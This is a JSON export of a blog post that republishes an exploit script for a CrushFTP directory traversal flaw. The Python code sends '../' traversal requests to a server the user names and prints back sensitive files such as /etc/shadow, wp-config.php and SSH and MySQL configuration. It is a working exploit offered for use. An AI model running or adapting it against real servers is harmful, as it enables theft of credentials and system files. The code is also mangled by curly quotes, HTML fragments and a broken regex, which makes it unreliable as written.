## Exploit Title: CrushFTP Directory Traversal
## Google Dork: N\/A
# Date: 2024-04-30
# Exploit Author: [Abdualhadi khalifa (https:\/\/twitter.com\/absholi_ly)
## Vendor Homepage: https:\/\/www.crushftp.com\/
## Software Link: https:\/\/www.crushftp.com\/download\/
## Version: below 10.7.1 and 11.1.0 (as well as legacy 9.x)
## Tested on: Windows10<\/p>\n
import requests
import re<\/p>\n
# Regular expression to validate the URL
def is_valid_url(url):
regex = re.compile(
r’^(?:http|ftp)s?:\/\/’ # http:\/\/ or https:\/\/
r'(?:(?:A-Z0-9?\\.)+(?:[A-Z]{2,6}\\.?|[A-Z0-9-]{2,}\\.?)|’ # domain…
r’localhost|’ # localhost…
r’\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}|’ # …or ipv4
r’\\[?[A-F0-9]*:[A-F0-9:]+\\]?)’ # …or ipv6
r'(?::\\d+)?’ # optional: port
r'(?:\/?|[\/?]\\S+)$’, re.IGNORECASE)
return re.match(regex, url) is not None<\/p>\n
# Function to scan for the vulnerability
def scan_for_vulnerability(url, target_files):
print(“Scanning for vulnerability in the following files:”)
for target_file in target_files:
print(target_file)<\/p>\n
for target_file in target_files:
try:
response = requests.get(url + “?\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/” + target_file, timeout=10)
if response.status_code == 200 and target_file.split(‘\/’)[-1] in response.text:
print(“vulnerability detected in file”, target_file)
print(“Content of file”, target_file, “:”)
print(response.text)
else:
print(“vulnerability not detected or unexpected response for file”, target_file)
except requests.exceptions.RequestException as e:
print(“Error connecting to the server:”, e)<\/p>\n
# User input
input_url = input(“Enter the URL of the CrushFTP server: “)<\/p>\n
# Validate the URL
if is_valid_url(input_url):
# Expanded list of allowed files
target_files = [
“\/var\/www\/html\/index.php”,
“\/var\/www\/html\/wp-config.php”,
“\/etc\/passwd”,
“\/etc\/shadow”,
“\/etc\/hosts”,
“\/etc\/ssh\/sshd_config”,
“\/etc\/mysql\/my.cnf”,
# Add more files as needed<\/p>\n
]# Start the scan
scan_for_vulnerability(input_url, target_files)
else:
print(“Invalid URL entered. Please enter a valid URL.”)<\/p>\n","protected":false},"excerpt":{"rendered":"
## Exploit Title: CrushFTP Directory Traversal## Google Dork: N\/A# Date: 2024-04-30# Exploit Author: [Abdualhadi khalifa (https:\/\/twitter.com\/absholi_ly)## Vendor Homepage: https:\/\/www.crushftp.com\/## Software Link: https:\/\/www.crushftp.com\/download\/## Version: below 10.7.1 and 11.1.0 (as well as legacy 9.x)## Tested on: Windows10 import requestsimport re # Regular expression to validate the URLdef is_valid_url(url):regex = re.compile(r’^(?:http|ftp)s?:\/\/’ # http:\/\/ or https:\/\/r'(?:(?:A-Z0-9?\\.)+(?:[A-Z]{2,6}\\.?|[A-Z0-9-]{2,}\\.?)|’ # domain…r’localhost|’ # …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56831","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56831","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56831"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56831\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56831"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56831"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56831"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}